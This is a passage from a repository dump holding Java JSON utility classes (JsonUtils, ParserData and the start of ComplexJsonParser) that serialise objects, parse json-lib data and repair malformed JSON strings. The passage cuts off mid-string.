*************************************************************************************\n\t// *************************************************************************************\n\t// *************************************************************************************\n\t// *************************************************************************************\n\t// *************************************************************************************\n\t// *************************************************************************************\n\t// *************************************************************************************\n\t// *************************************************************************************\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_json/src/main/java/com/jun/plugin/json/json_lib/JsonUtils.java",
    "content": "package com.jun.plugin.json.json_lib;\n\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.math.BigDecimal;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\n\nimport net.sf.json.JSONArray;\n\n/**\n * jquery-Treeview树形菜单json数据生成工具\n * @描述\n *       由于jquery_treeview插件要的json数据属�格式是固定的，无法用json-lib自动生成，除非实体类属�与之对\n *       采用ajax异步加载子节点方式，初始阶段只加载顶级节\n *       生成的json格式如下\n *                       {\n *                       \"id\":\"1\",           //id\n *                       \"text\":\"aaa\",       //显示\n *                       \"value\":\"1\",        //提交\n *                       \"expanded\":true,     //是否展开\n *                       \"hasChildren\":true,   //是否有子节点\n *                       \"ChildNodes\":[{},{}], //子节点集\n *                       \"showcheck\":true,  //是否显示checkbox\n *                       \"complete\":false   //是否已加载子节点\n *                       } \n * @author       Lanxiaowei\n * @createTime   2011-9-1 下午08:50:14\n */\npublic class JsonUtils {\n\tprivate static String top = \"{\";\n\tprivate static String top_ = \"}\";\n\n//\tpublic JsonUtil() {}\n\n\tpublic static String getJsonByList(List dList) {\n\t\tString data = \"\";\n\t\tif (dList != null) {\n\t\t\tJSONArray ja = JSONArray.fromObject(dList);\n\t\t\tdata = ja.toString();\n\t\t}\n\t\treturn data;\n\t}\n\n\tpublic static String getObjectJsonData(HashMap params) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tint i = 0;\n\t\tif (params != null) {\n\t\t\tdata.append(top);\n\t\t\tfor (Iterator it = params.entrySet().iterator(); it.hasNext();) {\n\t\t\t\tjava.util.Map.Entry element = (java.util.Map.Entry) it.next();\n\t\t\t\tString key = (String) element.getKey();\n\t\t\t\tList dList = (ArrayList) element.getValue();\n\t\t\t\tif (i > 0) data.append(\",\");\n\t\t\t\tdata.append((new StringBuilder()).append(\"\\\"\").append(key)\n\t\t\t\t\t\t.append(\"\\\"\").append(\":\").toString());\n\t\t\t\tdata.append(getJsonByList(dList));\n\t\t\t\ti++;\n\t\t\t}\n\t\t\tdata.append(top_);\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getExtGridJsonData(List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null) {\n\t\t\tdata.append((new StringBuilder()).append(\"{\\\"totalCount\\\":\")\n\t\t\t\t\t.append(dList.size()).append(\", \\\"Body\\\":\").toString());\n\t\t\tdata.append(getJsonByList(dList));\n\t\t\tdata.append(\"}\");\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getGridJsonData(int rowNumber, List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null) {\n\t\t\tdata.append((new StringBuilder()).append(\"{\\\"totalCount\\\":\")\n\t\t\t\t\t.append(rowNumber).append(\", \\\"Body\\\":\").toString());\n\t\t\tdata.append(getJsonByList(dList));\n\t\t\tdata.append(\"}\");\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getDefineJsonData(String firstParam, String listParam,\n\t\t\tString firstValue, List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null) {\n\t\t\tdata.append((new StringBuilder()).append(\"{\\\"\").append(firstParam)\n\t\t\t\t\t.append(\"\\\":\").append(firstValue).append(\", \\\"\")\n\t\t\t\t\t.append(listParam).append(\"\\\":\").toString());\n\t\t\tdata.append(getJsonByList(dList));\n\t\t\tdata.append(\"}\");\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getBasetJsonData(List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null) {\n\t\t\tJSONArray ja = JSONArray.fromObject(dList);\n\t\t\tdata.append(ja.toString());\n\t\t}\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getEasyUIJsonData(List dList) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null)\n\t\t\tif (dList.size() > 0) {\n\t\t\t\tString total = String.valueOf(((Map) dList.get(0))\n\t\t\t\t\t\t.get(\"IRECCOUNT\"));\n\t\t\t\tdata.append((new StringBuilder()).append(\"{\\\"total\\\": \")\n\t\t\t\t\t\t.append(total).append(\", \\\"rows\\\": \")\n\t\t\t\t\t\t.append(getJsonByList(dList)).append(\"}\").toString());\n\t\t\t} else {\n\t\t\t\tdata.append(\"{\\\"total\\\": 0, \\\"rows\\\": []}\");\n\t\t\t}\n\t\tSystem.out.println(\"json=\" + data.toString());\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getEasyUIJsonDataV2(List dList, String total) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (dList != null) if (dList.size() > 0) {\n\t\t\t// String total =\n\t\t\t// StringUtil.toString(((Map)dList.get(0)).get(\"IRECCOUNT\"));\n\t\t\tdata.append((new StringBuilder()).append(\"{\\\"total\\\": \")\n\t\t\t\t\t.append(total).append(\", \\\"rows\\\": \")\n\t\t\t\t\t.append(getJsonByList(dList)).append(\"}\").toString());\n\t\t} else {\n\t\t\tdata.append(\"{\\\"total\\\": 0, \\\"rows\\\": []}\");\n\t\t}\n\t\tSystem.out.println(\"total=\" + total + \"json=\" + data.toString());\n\t\treturn data.toString();\n\t}\n\n\tpublic static String getJsonDataByObject(Object obj) {\n\t\tStringBuffer data = new StringBuffer();\n\t\tif (obj != null) data.append(JSONArray.fromObject(obj).toString());\n\t\treturn data.toString();\n\t}\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\n    private String json;\n    \n    public JsonUtils(){\n        json = \"{}\";\n    }\n    \n    public JsonUtils(Map<String,Object> map){\n        json = JsonUtils.toJson(map);\n    }\n    \n    public JsonUtils(List<?> list){\n        json = JsonUtils.toJson(list);\n    }\n    \n    public JsonUtils(Object[] objects){\n        json = JsonUtils.toJson(objects);\n    }\n    \n    public JsonUtils(Object obj){\n        json = JsonUtils.toJson(obj);\n    }\n    \n    /**\n     * 用字符串构�JSON视图\n     * @param str 字符串表示的JSON表达式，\"success:true,age:32,salary:2000.50,name:'名称'\"\n     */\n    public JsonUtils(String str){\n        Map<String,Object> map = parseStr(str);\n        json = JsonUtils.toJson(map);\n    }\n    \n    @Override\n    public String toString(){\n        return json;\n    }\n    \n    private Map<String,Object> parseStr(String str){\n        Map<String,Object> map = new HashMap<String,Object>();\n        for(String strPart: str.split(\",\")){\n            String[] ss = strPart.split(\":\");\n            if (ss == null || ss.length != 2){\n                continue;\n            }\n            String key = ss[0];\n            String value = ss[1].trim();\n            if (value.startsWith(\"'\") && value.endsWith(\"'\")){\n                map.put(key, value.substring(1, value.length()-1));\n            }\n            else if (value.startsWith(\"\\\"\") && value.endsWith(\"\\\"\")){\n                map.put(key, value.substring(1, value.length()-1));\n            }\n            else if (value.equals(\"true\") || value.equals(\"false\")){\n                map.put(key, Boolean.valueOf(value));\n            }\n            else if (value.indexOf(\".\") == -1){\n                try{\n                    int val = Integer.parseInt(value);\n                    map.put(key, val);\n                }\n                catch(Exception e){\n                    map.put(key, value);\n                }\n            }\n            else{\n                try{\n                    BigDecimal val = new BigDecimal(value);\n                    map.put(key, val);\n                }\n                catch(Exception e){\n                    map.put(key, value);\n                }\n            }\n        }\n        return map;\n    }\n    \n    \n    \n    \n\n\tpublic static String toJson(Object obj) {\n\t\tString s = castToJson(obj);\n\t\tif (s != null) {\n\t\t\treturn s;\n\t\t} else {\n\t\t\treturn toJson(getAttributes(obj));\n\t\t}\n\t}\n\n\tpublic static String toJson(Map<String, Object> map) {\n\t\tString result = \"\";\n\t\tfor (String name : map.keySet()) {\n\t\t\tObject value = map.get(name);\n\t\t\tString s = castToJson(value);\n\t\t\tif (s != null) {\n\t\t\t\tresult += \"\\\"\" + name + \"\\\":\" + s + \",\";\n\t\t\t} else if (value instanceof List<?>) {\n\t\t\t\tString v = toJson((List<?>) value);\n\t\t\t\tresult += \"\\\"\" + name + \"\\\":\" + v + \",\";\n\t\t\t} else if (value instanceof Object[]) {\n\t\t\t\tString v = toJson((Object[]) value);\n\t\t\t\tresult += \"\\\"\" + name + \"\\\":\" + v + \",\";\n\t\t\t} else if (value instanceof Map<?, ?>) {\n\t\t\t\tMap<String, Object> attr = castMap((Map<?, ?>) value);\n\t\t\t\tattr = removeListAttr(attr);\n\t\t\t\tresult += \"\\\"\" + name + \"\\\":\" + JsonUtils.toJson(attr) + \",\";\n\t\t\t} else if (value.getClass().getName().startsWith(\"java\") == false) {\n\t\t\t\tMap<String, Object> attr = getAttributes(value);\n\t\t\t\tattr = removeListAttr(attr);\n\t\t\t\tresult += \"\\\"\" + name + \"\\\":\" + JsonUtils.toJson(attr) + \",\";\n\t\t\t} else {\n\t\t\t\tresult += \"\\\"\" + name + \"\\\":\" + \"\\\"\" + value.toString() + \"\\\",\";\n\t\t\t}\n\t\t}\n\t\tif (result.length() == 0) {\n\t\t\treturn \"{}\";\n\t\t} else {\n\t\t\treturn \"{\" + result.substring(0, result.length() - 1) + \"}\";\n\t\t}\n\t}\n\n\tpublic static String toJson(Object[] aa) {\n\t\tif (aa.length == 0) {\n\t\t\treturn \"[]\";\n\t\t} else {\n\t\t\tString result = \"\";\n\t\t\tfor (Object obj : aa) {\n\t\t\t\tString s = castToJson(obj);\n\t\t\t\tif (s != null) {\n\t\t\t\t\tresult += s + \",\";\n\t\t\t\t} else if (obj instanceof Map<?, ?>) {\n\t\t\t\t\tMap<String, Object> map = castMap((Map<?, ?>) obj);\n\t\t\t\t\tmap = removeListAttr(map);\n\t\t\t\t\tresult += toJson(map) + \",\";\n\t\t\t\t} else {\n\t\t\t\t\tMap<String, Object> attr = getAttributes(obj);\n\t\t\t\t\tattr = removeListAttr(attr);\n\t\t\t\t\tresult += toJson(attr) + \",\";\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn \"[\" + result.substring(0, result.length() - 1) + \"]\";\n\t\t}\n\t}\n\n\tpublic static String toJson(List<?> ll) {\n\t\treturn toJson(ll.toArray());\n\t}\n\n\t/**\n\t * 取得对象的属\n\t * \n\t * @param obj\n\t * @return 对象属�表\n\t */\n\tpublic static Map<String, Object> getAttributes(Object obj) {\n\t\tClass<?> c = obj.getClass();\n\t\ttry {\n\t\t\tMethod method = c.getMethod(\"isProxy\");\n\t\t\tBoolean result = (Boolean) method.invoke(obj);\n\t\t\tif (result == true) {\n\t\t\t\tc = c.getSuperclass();\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t}\n\t\tMap<String, Object> attr = new HashMap<String, Object>();\n\n\t\t// 取得有公共字\n\t\tfor (Field f : c.getFields()) {\n\t\t\ttry {\n\t\t\t\tObject value = f.get(obj);\n\t\t\t\tattr.put(f.getName(), value);\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\t}\n\n\t\t// 取得有本类方\n\t\tfor (Method m : c.getDeclaredMethods()) {\n\t\t\tString mname = m.getName();\n\t\t\tif (mname.equals(\"getClass\")) {\n\t\t\t\tcontinue;\n\t\t\t} else if (mname.startsWith(\"get\")) {\n\t\t\t\tString pname = mname.substring(3);\n\t\t\t\tif (pname.length() == 1) {\n\t\t\t\t\tpname = pname.toLowerCase();\n\t\t\t\t} else {\n\t\t\t\t\tpname = pname.substring(0, 1).toLowerCase()\n\t\t\t\t\t\t\t+ pname.substring(1);\n\t\t\t\t}\n\n\t\t\t\ttry {\n\t\t\t\t\tObject value = m.invoke(obj);\n\t\t\t\t\tattr.put(pname, value);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t}\n\t\t\t} else if (mname.startsWith(\"is\")) {\n\t\t\t\tString pname = mname.substring(2);\n\t\t\t\tif (pname.length() == 1) {\n\t\t\t\t\tpname = pname.toLowerCase();\n\t\t\t\t} else {\n\t\t\t\t\tpname = pname.substring(0, 1).toLowerCase()\n\t\t\t\t\t\t\t+ pname.substring(1);\n\t\t\t\t}\n\n\t\t\t\ttry {\n\t\t\t\t\tObject value = m.invoke(obj);\n\t\t\t\t\tattr.put(pname, value);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn attr;\n\t}\n\n\t/**\n\t * 将简单对象转换成JSON\n\t * \n\t * @param obj\n\t * @return 如果是简单对象则返回JSON，如果是复杂对象则返回null\n\t */\n\tprivate static String castToJson(Object obj) {\n\t\tif (obj == null) {\n\t\t\treturn \"null\";\n\t\t} else if (obj instanceof Boolean) {\n\t\t\treturn obj.toString();\n\t\t} else if (obj instanceof Integer || obj instanceof Long\n\t\t\t\t|| obj instanceof Float || obj instanceof Double\n\t\t\t\t|| obj instanceof Short || obj instanceof java.math.BigInteger\n\t\t\t\t|| obj instanceof java.math.BigDecimal) {\n\t\t\treturn obj.toString();\n\t\t} else if (obj instanceof String) {\n\t\t\tString v = (String) obj;\n\t\t\tv = v.replaceAll(\"\\\\\\\\\", \"\\\\\\\\\\\\\\\\\");\n\t\t\tv = v.replaceAll(\"\\n\", \"\\\\\\\\n\");\n\t\t\tv = v.replaceAll(\"\\r\", \"\\\\\\\\r\");\n\t\t\tv = v.replaceAll(\"\\t\", \"\\\\\\\\t\");\n\t\t\tv = v.replaceAll(\"\\\"\", \"\\\\\\\\\\\"\");\n//\t\t\tv = v.replaceAll(\"'\", \"\\\\\\\\\\'\");\n\t\t\treturn \"\\\"\" + v + \"\\\"\";\n\t\t} else if (obj instanceof java.sql.Date) {\n\t\t\tjava.text.SimpleDateFormat df = new java.text.SimpleDateFormat(\n\t\t\t\t\t\"yyyy-MM-dd\");\n\t\t\tjava.sql.Date v = (java.sql.Date) obj;\n\t\t\tString s = df.format(new java.util.Date(v.getTime()));\n\t\t\treturn \"\\\"\" + s + \"\\\"\";\n\t\t} else if (obj instanceof java.sql.Timestamp) {\n\t\t\tjava.text.SimpleDateFormat df = new java.text.SimpleDateFormat(\n\t\t\t\t\t\"yyyy-MM-dd HH:mm:ss\");\n\t\t\tjava.sql.Timestamp v = (java.sql.Timestamp) obj;\n\t\t\tString s = df.format(new java.util.Date(v.getTime()));\n\t\t\treturn \"\\\"\" + s + \"\\\"\";\n\t\t} else if (obj instanceof java.util.Date) {\n\t\t\tjava.text.SimpleDateFormat df = new java.text.SimpleDateFormat(\n\t\t\t\"yyyy-MM-dd\");\n\t\t\tjava.util.Date v = (java.util.Date) obj;\n\t\t\tString s = df.format(v);\n\t\t\treturn \"\\\"\" + s + \"\\\"\";\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\n\t}\n\n\tpublic static Map<String, Object> castMap(Map<?, ?> map) {\n\t\tMap<String, Object> newMap = new HashMap<String, Object>();\n\t\tfor (Object key : map.keySet()) {\n\t\t\tnewMap.put(key.toString(), map.get(key));\n\t\t}\n\t\treturn newMap;\n\t}\n\n\t/**\n\t * 删除属�中类型是List的属\n\t * \n\t * @param map\n\t * @return\n\t */\n\tprivate static Map<String, Object> removeListAttr(Map<String, Object> map) {\n\t\tMap<String, Object> newMap = new HashMap<String, Object>();\n\t\tfor (Entry<String, Object> en : map.entrySet()) {\n\t\t\tif (!(en.getValue() instanceof List<?>)) {\n\t\t\t\tnewMap.put((String) en.getKey(), en.getValue());\n\t\t\t}\n\t\t}\n\t\treturn newMap;\n\t}\n\t/**\n\t * 为菜单名称添加超链接\n\t * @描述：便于为菜单添加执行动作\n\t *       如点击后执行某个action并在target指定目标内显示执行返回的结果\n\t * @param name 菜单名称\n\t * @param url 链接地址\n\t * @param target 链接目标\n\t */\n\tpublic static String getLinkName(String name,String url,String target){\n\t\tStringBuffer buffer = new StringBuffer();\n\t\tif(null == url || url.trim().equals(\"\")){\n\t\t\treturn name;\n\t\t}\n\t\tbuffer.append(\"<a href='\").append(url).append(\"'\");\n\t\tif(null != target && !target.trim().equals(\"\")){\n\t\t\tbuffer.append(\" target='\").append(target).append(\"'\");\n\t\t}\n\t\tbuffer.append(\">\").append(name).append(\"</a>\");\n\t\treturn buffer.toString();\n\t}\n\t\n\t\n\n\t/** \n\t  * @Title: format \n\t  * @Description: 该方法给集合转变成的JSON串中的各个属性添加变量名 \n\t  * @param @param varName 要添加的变量\n\t  * @param @param list 要添加的集合\n\t  * @param @param excepts 哪些字段不需要添加变量名\n\t  * @param @return\n\t  * @param @throws Exception\n\t  * @return String\n\t  * @throws \n\t  */\n\tpublic static String format(String varName, List list,String excepts) throws Exception{\n\t\tStringBuffer result = new StringBuffer(\"[\");\n\t\tfor(Object obj:list){\n\t\t\tField[] fields = obj.getClass().getDeclaredFields();\n\t\t\tField.setAccessible(fields, true);\n\t\t\tresult.append(\"{\");\n\t\t\tfor(Field att:fields){\n\t\t\t\tObject o = att.get(obj);\n\t\t\t\tString value = JsonUtils.toJson(o);\n\t\t\t\tif(value!=null && value.indexOf(\"{\")==-1 ){\n\t\t\t\t\tboolean flag = false;\n\t\t\t\t\tif(null!=excepts){\n\t\t\t\t\t\tfor(String ex:excepts.split(\";\")){\n\t\t\t\t\t\t\tif(att.getName().equals(ex)){\n\t\t\t\t\t\t\t\tflag = true;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(!flag){\n\t\t\t\t\t\tresult.append(\"\\\"\"+varName+\".\"+att.getName()+\"\\\":\");\n\t\t\t\t\t}else{\n\t\t\t\t\t\tresult.append(\"\\\"\"+att.getName()+\"\\\":\");\n\t\t\t\t\t}\n\t\t\t\t\tresult.append(value);\n\t\t\t\t}else{\n\t\t\t\t\tresult.append(\"\\\"\"+att.getName()+\"\\\":\");\n//\t\t\t\t\tJSONArray json = JSONArray.fromObject(o);\n//\t\t\t\t\tString str = json.toString();\n\t\t\t\t\tif(value.indexOf(\"[\")==0){\n\t\t\t\t\t\tvalue=value.substring(1, value.length()-1);\n\t\t\t\t\t}\n\t\t\t\t\tresult.append(value);\n\t\t\t\t}\n\t\t\t\tresult.append(\",\");\n\t\t\t}\n\t\t\tresult.deleteCharAt(result.toString().length()-1);\n\t\t\tresult.append(\"},\");\n\t\t}\n\t\tresult.deleteCharAt(result.toString().length()-1).append(\"]\");\n\t\treturn result.toString();\n\t}\n\t\n\t\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\t//System.out.println(getLinkName(\"权限管理\",\"resourceAction!findResources.do\",\"leftFrame\"));\n\t\t\n\t\t/*Resource resource = new Resource();\n\t\tresource.setId(1l);\n\t\tresource.setName(\"用户管理\");\n\t\tresource.setLeaf(false);\n\t\tSystem.out.println(objectToJsonString(resource));*/\n\t\t\n\t\t/*Resource resource1 = new Resource();\n\t\tresource1.setId(1l);\n\t\tresource1.setName(\"用户管理\");\n\t\tresource1.setLeaf(false);\n\t\tResource resource2 = new Resource();\n\t\tresource2.setId(2l);\n\t\tresource2.setName(\"角色管理\");\n\t\tresource2.setLeaf(false);\n\t\tResource resource3 = new Resource();\n\t\tresource3.setId(3l);\n\t\tresource3.setName(\"权限管理\");\n\t\tresource3.setLeaf(false);\n\t\tList<Resource> children = new ArrayList<Resource>();\n\t\tchildren.add(resource1);\n\t\tchildren.add(resource2);\n\t\tchildren.add(resource3);\n\t\tSystem.out.println(gernerateTreeChildJsonString(children));*/\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_json/src/main/java/com/jun/plugin/json/json_lib/ParserData.java",
    "content": "package com.jun.plugin.json.json_lib;\n\nimport java.io.BufferedReader;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.net.URL;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\n\n\n/**\n * 解析数据工具\n * \n * @author ab030087\n *\n */\n@SuppressWarnings(\"unchecked\")\npublic class ParserData {\n\t/**\n\t * 解析xml 数据中json串为列表\n\t * \n\t * @param jsonString\n\t * @param clazz\n\t * @return\n\t */\n\tpublic static List parserJsonStringToList(String jsonString,Class clazz){\n\t\t return getDTOList(jsonString,clazz);\n\t}\n\t\n\t/**    \n\t* 从一个JSON数组得到 个java对象集合\n\t* @param jsonString\n\t* @param clazz    \n\t* @return    \n\t*/     \n\tpublic static List getDTOList(String jsonString, Class clazz){      \n\t\tJSONArray array = JSONArray.fromObject(jsonString);      \n\t\tList list = new ArrayList();      \n\t\tfor(Iterator iter = array.iterator(); iter.hasNext();){      \n\t\t\tJSONObject jsonObject = (JSONObject)iter.next();      \n\t\t\t\tlist.add(JSONObject.toBean(jsonObject, clazz));      \n\t\t}      \n\t\treturn list;      \n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tString jsonStr = \"[{\\\"orderCode\\\":\\\"MD121022161\\\",\\\"allocate_one_money\\\":\\\"10\\\",\\\"allocate_sum_money\\\":\\\"20\\\"},{\\\"orderCode\\\":\\\"MD121023021\\\",\\\"allocate_one_money\\\":\\\"30\\\",\\\"allocate_sum_money\\\":\\\"60\\\"}]\";\n\t\tList<Map<String, Object>> mapList = parseJSON2List(jsonStr);\n\t\tSystem.out.println(\"123\");\n\t}\n\n\tpublic static List<Map<String, Object>> parseJSON2List(String jsonStr) {\n\t\tJSONArray jsonArr = JSONArray.fromObject(jsonStr);\n\t\tList<Map<String, Object>> list = new ArrayList<Map<String, Object>>();\n\t\tIterator<JSONObject> it = jsonArr.iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tJSONObject json2 = it.next();\n\t\t\tlist.add(parseJSON2Map(json2.toString()));\n\t\t}\n\t\treturn list;\n\t}\n\n\tpublic static Map<String, Object> parseJSON2Map(String jsonStr) {\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\t// 外层解析\n\t\tJSONObject json = JSONObject.fromObject(jsonStr);\n\t\tfor (Object k : json.keySet()) {\n\t\t\tObject v = json.get(k);\n\t\t\t// 如果内层还是数组的话，继续解\n\t\t\tif (v instanceof JSONArray) {\n\t\t\t\tList<Map<String, Object>> list = new ArrayList<Map<String, Object>>();\n\t\t\t\tIterator<JSONObject> it = ((JSONArray) v).iterator();\n\t\t\t\twhile (it.hasNext()) {\n\t\t\t\t\tJSONObject json2 = it.next();\n\t\t\t\t\tlist.add(parseJSON2Map(json2.toString()));\n\t\t\t\t}\n\t\t\t\tmap.put(k.toString(), list);\n\t\t\t} else {\n\t\t\t\tmap.put(k.toString(), v);\n\t\t\t}\n\t\t}\n\t\treturn map;\n\t}\n\n\tpublic static List<Map<String, Object>> getListByUrl(String url) {\n\t\ttry {\n\t\t\t// 通过HTTP获取JSON数据\n\t\t\tInputStream in = new URL(url).openStream();\n\t\t\tBufferedReader reader = new BufferedReader(\n\t\t\t\t\tnew InputStreamReader(in));\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tString line;\n\t\t\twhile ((line = reader.readLine()) != null) {\n\t\t\t\tsb.append(line);\n\t\t\t}\n\t\t\treturn parseJSON2List(sb.toString());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static Map<String, Object> getMapByUrl(String url) {\n\t\ttry {\n\t\t\t// 通过HTTP获取JSON数据\n\t\t\tInputStream in = new URL(url).openStream();\n\t\t\tBufferedReader reader = new BufferedReader(\n\t\t\t\t\tnew InputStreamReader(in));\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tString line;\n\t\t\twhile ((line = reader.readLine()) != null) {\n\t\t\t\tsb.append(line);\n\t\t\t}\n\t\t\treturn parseJSON2Map(sb.toString());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_json/src/test/java/com/jun/plugin/json/json_lib/ComplexJsonParser.java",
    "content": "package com.jun.plugin.json.json_lib;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.json.JSONArray;\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\npublic class ComplexJsonParser {\n\n    // 正则：匹配 // 单行注释（需处理换行）\n    private static final Pattern COMMENT_PATTERN = Pattern.compile(\"//.*?\\\\n\");\n    // 正则：匹配数组中 \"}{\" 之间缺失的逗号（如 }{ → },{）\n    private static final Pattern MISSING_COMMA_PATTERN = Pattern.compile(\"\\\\}\\\\s*\\\\{\");\n    // 正则：匹配数组中 \"key: value\" 格式，替换为 {\"key\": value}（修复 ruleAction）\n    private static final Pattern ARRAY_KEY_VALUE_PATTERN = Pattern.compile(\"\\\"(\\\\w+)\\\":\\\\s*({[^}]+})\");\n\n    /**\n     * 解析复杂JSON（含自动修复非法JSON逻辑）\n     */\n    public static JSONObject parseComplexJson(String jsonStr) {\n        JSONObject rootObj = JSONUtil.parseObj(jsonStr);\n        // 递归处理嵌套JSON字符串（带修复）\n        parseNestedJsonFieldsWithFix(rootObj);\n        return rootObj;\n    }\n\n    /**\n     * 递归解析 + 预处理修复非法JSON字符串\n     */\n    private static void parseNestedJsonFieldsWithFix(JSONObject jsonObj) {\n        if (jsonObj == null || jsonObj.isEmpty()) {\n            return;\n        }\n\n        for (String key : jsonObj.keySet()) {\n            Object value = jsonObj.get(key);\n            if (value == null || !(value instanceof String)) {\n                // 非字符串：递归处理JSONObject/JSONArray\n                if (value instanceof JSONObject) {\n                    parseNestedJsonFieldsWithFix((JSONObject) value);\n                } else if (value instanceof JSONArray) {\n                    parseNestedJsonArrayWithFix((JSONArray) value);\n                }\n                continue;\n            }\n\n            String strValue = ((String) value).trim();\n            // 仅处理疑似JSON的字符串（以{/[开头，以}/]结尾）\n            if (!((strValue.startsWith(\"{\") && strValue.endsWith(\"}\")) || (strValue.startsWith(\"[\") && strValue.endsWith(\"]\")))) {\n                continue;\n            }\n\n            // 步骤1：预处理修复非法JSON\n            String fixedJson = fixInvalidJson(strValue);\n\n            // 步骤2：尝试解析修复后的JSON\n            try {\n                Object parsedObj = JSONUtil.parse(fixedJson);\n                jsonObj.put(key, parsedObj);\n                // 递归处理新解析的对象\n                if (parsedObj instanceof JSONObject) {\n                    parseNestedJsonFieldsWithFix((JSONObject) parsedObj);\n                } else if (parsedObj instanceof JSONArray) {\n                    parseNestedJsonArrayWithFix((JSONArray) parsedObj);\n                }\n            } catch (Exception e) {\n                System.out.println(\"字段[\" + key + \"]修复后仍解析失败，保留原字符串：\" + e.getMessage());\n            }\n        }\n    }\n\n    /**\n     * 修复JSONArray中的嵌套字段\n     */\n    private static void parseNestedJsonArrayWithFix(JSONArray jsonArray) {\n        if (jsonArray == null || jsonArray.isEmpty()) {\n            return;\n        }\n        for (int i = 0; i < jsonArray.size(); i++) {\n            Object element = jsonArray.get(i);\n            if (element instanceof JSONObject) {\n                parseNestedJsonFieldsWithFix((JSONObject) element);\n            } else if (element instanceof JSONArray) {\n                parseNestedJsonArrayWithFix((JSONArray) element);\n            } else if (element instanceof String) {\n                String strElement = ((String) element).trim();\n                if ((strElement.startsWith(\"{\") && strElement.endsWith(\"}\")) || (strElement.startsWith(\"[\") && strElement.endsWith(\"]\"))) {\n                    String fixed = fixInvalidJson(strElement);\n                    try {\n                        jsonArray.set(i, JSONUtil.parse(fixed));\n                    } catch (Exception e) {\n                        // 保留原字符串\n                    }\n                }\n            }\n        }\n    }\n\n    /**\n     * 核心：修复非法JSON字符串的常见问题\n     */\n    private static String fixInvalidJson(String jsonStr) {\n        if (StrUtil.isBlank(jsonStr)) {\n            return jsonStr;\n        }\n\n        String fixed = jsonStr;\n        // 1. 移除 // 单行注释（JSON不支持注释）\n        Matcher commentMatcher = COMMENT_PATTERN.matcher(fixed);\n        fixed = commentMatcher.replaceAll(\"\\n\");\n\n        // 2. 补全数组中缺失的逗号（如 }{ → },{）\n        Matcher commaMatcher = MISSING_COMMA_PATTERN.matcher(fixed);\n        fixed = commaMatcher.replaceAll(\"},{\");\n\n        // 3. 修复数组中的键值对（如 \"addEdit\": {...} → {\"addEdit\": {...}}）\n        Matcher keyValueMatcher = ARRAY_KEY_VALUE_PATTERN.matcher(fixed);\n        fixed = keyValueMatcher.replaceAll(\"{\\\"$1\\\": $2}\");\n\n        // 4. 移除多余的空白字符（可选）\n        fixed = fixed.replaceAll(\"\\\\r\\\\n\", \"\").replaceAll(\"\\\\t\", \"\");\n\n        return fixed;\n    }\n\n    /**\n     * 美观打印JSON\n     */\n    public static void printHierarchicalJson(JSONObject jsonObj) {\n        System.out.println(\"===== 层级展示JSON数据 =====\");\n        System.out.println(jsonObj.toStringPretty());\n    }\n\n    // 测试\n    public static void main(String[] args) {\n        // 替换为你的原始JSON字符串\n        String rawJsonStr = \"{\\n\" +\n                \"    \\\"code\\\": \\\"0\\\",\\n\" +\n                \"    \\\"msg\\\": \\\"操作成功\\\",\\n\" +\n                \"    \\\"data\\\": {\\n\" +\n                \"        \\\"duplicateCondition\\\": \\\"{\\\\r\\\\n\\\\t\\\\t\\\\\\\"filterFormula\\\\\\\": \\\\\\\"1 AND 2\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\\\\"duplicationConditions\\\\\\\": [\\\\r\\\\n\\\\t\\\\t\\\\t{\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"objectCode\\\\\\\": \\\\\\\"import_export_test_4161\\\\\\\",\\\\r\\\\n\\\\t\\\\t\\\\t\\\\t\\\\\\\"instanceName\\\\\\\": \\\\\\\"字段名称1\\\\\\\", // 